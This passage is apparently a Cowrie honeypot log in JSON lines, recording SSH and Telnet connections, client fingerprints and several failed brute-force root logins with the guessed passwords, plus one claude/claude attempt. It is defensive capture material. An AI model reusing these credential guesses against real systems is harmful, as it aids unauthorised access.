{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"af476981e976","protocol":"telnet","message":"New connection: 192.119.13.58:47036 (10.17.0.5:23) [session: af476981e976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:54.357082Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49054,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f3f8936c3ce","protocol":"ssh","message":"New connection: 80.66.85.226:49054 (10.17.0.5:22) [session: 9f3f8936c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:55.718989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:55.725871Z","src_ip":"80.66.85.226","session":"9f3f8936c3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:55.816478Z","src_ip":"80.66.85.226","session":"9f3f8936c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53682,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0bd1990c9d","protocol":"telnet","message":"New connection: 192.119.13.58:53682 (10.17.0.5:23) [session: 6b0bd1990c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:55.999492Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567u","message":"login attempt [root/1234567u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:56.095510Z","src_ip":"80.66.85.226","session":"9f3f8936c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:57.191095Z","src_ip":"80.66.85.226","session":"9f3f8936c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59882,"dst_ip":"10.17.0.5","dst_port":23,"session":"89451de0e2dd","protocol":"telnet","message":"New connection: 192.119.13.58:59882 (10.17.0.5:23) [session: 89451de0e2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:57.444288Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60316,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e42fbfe9390","protocol":"telnet","message":"New connection: 192.119.13.58:60316 (10.17.0.5:23) [session: 2e42fbfe9390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:08:57.523475Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed924bd65e3a","protocol":"telnet","message":"New connection: 192.119.13.58:42102 (10.17.0.5:23) [session: ed924bd65e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:00.017298Z"}
{"eventid":"cowrie.session.closed","duration":44.79836463928223,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:00.287194Z","src_ip":"192.119.13.58","session":"c38cde0a89e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.15298509597778,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:03.107112Z","src_ip":"192.119.13.58","session":"aa4e66d9de68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":5509,"dst_ip":"10.17.0.5","dst_port":22,"session":"92534964b679","protocol":"ssh","message":"New connection: 201.249.192.30:5509 (10.17.0.5:22) [session: 92534964b679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:04.755721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:04.764635Z","src_ip":"201.249.192.30","session":"92534964b679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:04.845611Z","src_ip":"201.249.192.30","session":"92534964b679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saba7861","message":"login attempt [root/saba7861] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:05.198232Z","src_ip":"201.249.192.30","session":"92534964b679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37862,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9d97ef0399c","protocol":"telnet","message":"New connection: 192.119.13.58:37862 (10.17.0.5:23) [session: a9d97ef0399c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:06.116740Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:06.281325Z","src_ip":"201.249.192.30","session":"92534964b679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42494,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27b723cb53e","protocol":"telnet","message":"New connection: 192.119.13.58:42494 (10.17.0.5:23) [session: d27b723cb53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:07.393611Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50244,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b9607e8a53d","protocol":"telnet","message":"New connection: 192.119.13.58:50244 (10.17.0.5:23) [session: 8b9607e8a53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:09.479567Z"}
{"eventid":"cowrie.session.closed","duration":1.2395267486572266,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:10.718997Z","src_ip":"192.119.13.58","session":"8b9607e8a53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"f250a313ec80","protocol":"telnet","message":"New connection: 192.119.13.58:55586 (10.17.0.5:23) [session: f250a313ec80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:10.895804Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56488,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48f0f028885","protocol":"telnet","message":"New connection: 192.119.13.58:56488 (10.17.0.5:23) [session: f48f0f028885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:11.151008Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32942,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffbb408cfd08","protocol":"telnet","message":"New connection: 192.119.13.58:32942 (10.17.0.5:23) [session: ffbb408cfd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:12.379306Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccccf522ff39","protocol":"telnet","message":"New connection: 192.119.13.58:38290 (10.17.0.5:23) [session: ccccf522ff39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:13.707128Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36870,"dst_ip":"159.203.135.109","dst_port":22,"session":"873e27419152","protocol":"ssh","message":"New connection: 103.195.236.96:36870 (159.203.135.109:22) [session: 873e27419152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:16.057008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:16.064473Z","src_ip":"103.195.236.96","session":"873e27419152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:16.309310Z","src_ip":"103.195.236.96","session":"873e27419152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfgbnjirf","message":"login attempt [root/rfgbnjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:17.046454Z","src_ip":"103.195.236.96","session":"873e27419152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:18.293898Z","src_ip":"103.195.236.96","session":"873e27419152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58166,"dst_ip":"10.17.0.5","dst_port":23,"session":"767d9e471fc3","protocol":"telnet","message":"New connection: 192.119.13.58:58166 (10.17.0.5:23) [session: 767d9e471fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:18.720021Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":45240,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae05fc7f3d0b","protocol":"ssh","message":"New connection: 40.83.182.122:45240 (10.17.0.5:22) [session: ae05fc7f3d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:18.819349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:18.824496Z","src_ip":"40.83.182.122","session":"ae05fc7f3d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.536563873291016,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:18.849280Z","src_ip":"192.119.13.58","session":"baeca962867b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:18.897696Z","src_ip":"40.83.182.122","session":"ae05fc7f3d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:19.223336Z","src_ip":"40.83.182.122","session":"ae05fc7f3d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"848e15351a37","protocol":"telnet","message":"New connection: 192.119.13.58:33906 (10.17.0.5:23) [session: 848e15351a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:19.770126Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:20.300026Z","src_ip":"40.83.182.122","session":"ae05fc7f3d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.30844855308533,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:22.743255Z","src_ip":"192.119.13.58","session":"8ab9b0898601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46872,"dst_ip":"10.17.0.5","dst_port":23,"session":"69001fa8c973","protocol":"telnet","message":"New connection: 192.119.13.58:46872 (10.17.0.5:23) [session: 69001fa8c973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:23.090317Z"}
{"eventid":"cowrie.session.closed","duration":0.0075380802154541016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:23.097712Z","src_ip":"192.119.13.58","session":"69001fa8c973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":22148,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b58c3d5675","protocol":"ssh","message":"New connection: 115.68.226.124:22148 (10.17.0.5:22) [session: 67b58c3d5675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:24.361657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:24.366692Z","src_ip":"115.68.226.124","session":"67b58c3d5675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:24.584172Z","src_ip":"115.68.226.124","session":"67b58c3d5675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"David","message":"login attempt [root/David] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:25.562468Z","src_ip":"115.68.226.124","session":"67b58c3d5675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56974,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca516d80942","protocol":"telnet","message":"New connection: 192.119.13.58:56974 (10.17.0.5:23) [session: 4ca516d80942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:26.514627Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:26.843245Z","src_ip":"115.68.226.124","session":"67b58c3d5675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.08860516548157,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:28.587066Z","src_ip":"192.119.13.58","session":"869755ca6d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.112884759902954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:30.469846Z","src_ip":"192.119.13.58","session":"af476981e976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51832,"dst_ip":"10.17.0.5","dst_port":23,"session":"270176ec0611","protocol":"telnet","message":"New connection: 192.119.13.58:51832 (10.17.0.5:23) [session: 270176ec0611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:31.317962Z"}
{"eventid":"cowrie.session.closed","duration":34.09666967391968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:31.540732Z","src_ip":"192.119.13.58","session":"89451de0e2dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.03460192680359,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:31.557945Z","src_ip":"192.119.13.58","session":"2e42fbfe9390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"52aaa0aaad85","protocol":"telnet","message":"New connection: 192.119.13.58:53932 (10.17.0.5:23) [session: 52aaa0aaad85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:31.830046Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":39482,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8915a7e5528","protocol":"ssh","message":"New connection: 103.15.222.183:39482 (159.203.135.109:22) [session: e8915a7e5528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:34.176621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:34.182874Z","src_ip":"103.15.222.183","session":"e8915a7e5528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@